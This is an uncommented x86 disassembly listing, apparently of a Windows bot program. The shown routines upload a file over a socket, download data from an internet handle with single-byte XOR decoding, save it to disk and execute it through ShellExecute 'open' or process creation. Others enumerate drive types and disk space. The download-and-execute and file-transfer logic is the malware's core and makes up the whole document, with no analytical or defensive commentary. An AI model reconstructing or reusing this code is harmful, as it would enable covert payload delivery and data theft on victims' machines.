		jmp	loc_4163C8
; ---------------------------------------------------------------------------

loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9E4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA10
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380D8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------

loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB988
		push	dword ptr [ebp-2Eh]
		call	dword_4CB914
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx

loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------

loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al

loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CBA0C
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FFC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------

loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2720000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380B8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------

loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2740B25h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24
		push	eax
		call	dword_4CB9E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_4380A0
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9CC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438088
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------

loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438064

loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------

loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA7C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h

loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax

loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 270116Ch
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA34
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9FC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]

loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2670000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438038
		push	eax
		call	sub_41C266

loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h

loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h

loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA7C

loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA7C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438020
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA7C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680A31h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2720000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43819C
		jmp	short loc_416633
; ---------------------------------------------------------------------------

loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43816C
		jmp	short loc_416633
; ---------------------------------------------------------------------------

loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43814C

loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------

loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h

loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9E0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		jmp	short loc_41664B
; ---------------------------------------------------------------------------

loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438020
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA7C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h

loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438120
		push	eax
		call	sub_41C266
		add	esp, 14h

loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h

loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx

loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA7C

loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop

loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB8E8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2720000h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438368
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h

loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 26A0861h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8F0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx

loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2710000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]

loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch

loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A

loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438340
		jmp	short loc_41693A
; ---------------------------------------------------------------------------

loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438318

loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881

loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382EC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h

loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26A0861h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2670000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382C4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h

loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43828C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h

loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB950
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438270
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------

loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43822C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h

loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB98
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670345h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB93C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381F8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------

loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381CC

loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h

loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx

loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA18
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE

loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3608
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------

loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi

loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------

loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA44
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383BC
		retn
; ---------------------------------------------------------------------------

loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383B8
		retn
; ---------------------------------------------------------------------------

loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8D4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
